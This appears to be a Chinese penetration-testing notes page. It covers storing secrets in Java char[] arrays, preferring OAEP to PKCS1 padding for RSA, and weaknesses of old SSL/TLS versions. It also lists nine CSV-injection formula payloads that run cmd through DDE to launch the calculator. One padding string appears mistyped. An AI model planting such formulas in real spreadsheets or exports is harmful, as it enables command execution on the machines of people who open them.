当前位置: 首页 > news >正文

【渗透测试】payload记录

Java开发使用char[]代替String保存敏感数据

Java Jvm会提供内存转储功能,当Java程序dump后,会生成堆内存的快照,保存在.hprof后缀的文件中,进而导致敏感信息的泄露。char[]可以在存储敏感数据后手动清零,String对象会永久保存数据,即便被置为空也会保存在内存中,知道垃圾回收机制将其回收。

加密算法的填充

应该使用OAEP模式而不应该使用PKCS1模式。
通常写法如下:

RSA/ECB/OAEPWithSHA-1AndGF1Padding
RSA/ECB/OAEPWithSHA-1AndMGFPadding
RSA/ECB/PKCS1Padding(禁用)

不安全协议/加密套件

  1. SSL/TLS版本:
    • SSL(2.0/3.0) 也可以称为SSLv2/SSLv3
    • TLS(1.0/1.1/1.2/1.3)也可以称TLSv1/TLSv1.1/TLSv1.2/TLSv1.3
  2. 存在的问题
    • SSL2.0
      • 使用MD5作为消息认证码
      • 握手消息未受保护
      • 加密和消息认证使用相同的密钥
    • SSL3.0
      • 数据记录协议受到POODLE攻击
      • 密钥交换时易受中间人攻击
    • TLS1.0
      • 对称加密仅支持RC4和CBC模式

CSV注入

可以使用的payload

=cmd|'/c calc'!A1
+=cmd|'/c calc'!A1
\",=cmd|'/c calc'!A1
",=cmd|'/c calc'!A1
@ABS(cmd|'/c calc'!A1)
-cmd|'/c calc'!A1
xxx, =cmd|'/c calc'!A1
xxx\n =cmd|'/c calc'!A1
xxx;=cmd|'/c calc'!A1
http://www.lryc.cn/news/481495.html

相关文章:

  • 2024自动驾驶线控底盘行业研究报告
  • css3D变换用法
  • Rust:启动与关闭线程
  • Ubuntu 的 ROS 2 操作系统安装与测试
  • 在双显示器环境中利用Sunshine与Moonlight实现游戏串流的同时与电脑其他任务互不干扰
  • ElasticSearch备考 -- Cross cluster replication(CCR)
  • windows C#-异常处理
  • 边缘计算在智能制造中的应用
  • 点云开发:从入门到精通的全面教程
  • 【含文档】基于ssm+jsp的商店会员系统(含源码+数据库+lw)
  • 【大数据学习 | kafka高级部分】文件清除原理
  • dolphin 配置data 从文件导入hive 实践(一)
  • Docker Compose部署Rabbitmq(脚本下载延迟插件)
  • 麦当劳自助点餐机——实现
  • C++ STL CookBook 6:STL Containers (I)
  • 行转列实现方式总结
  • 【go从零单排】初探goroutine
  • HarmonyOS NEXT应用元服务开发Intents Kit(意图框架服务)本地搜索接入方案
  • C语言可变参数列表编程实战指南:从基础概念到高级应用的全面解析
  • AndroidStudio-文本显示
  • HBuilderX运行微信小程序,编译的文件在哪,怎么运行
  • 百亿AI数字人社会初现:Project Sid展示智能代理文明进化路径
  • 代码随想录训练营Day21 | 491.递增子序列 - 46.全排列 - 47.全排列 II - 332.重新安排行程 - 51.N皇后 - 37.解数独
  • 多用户商城系统的功能及设计和开发
  • 2024年11月8日day8
  • Debezium系列之:Debezium3版本增量快照和只读增量快照应用的变化
  • Python正则表达式1 re.match惰性匹配详解案例
  • WPF(C#)学习日志10:Prism框架下按键绑定
  • WPF中的ResizeMode
  • Unity3D UI 双击和长按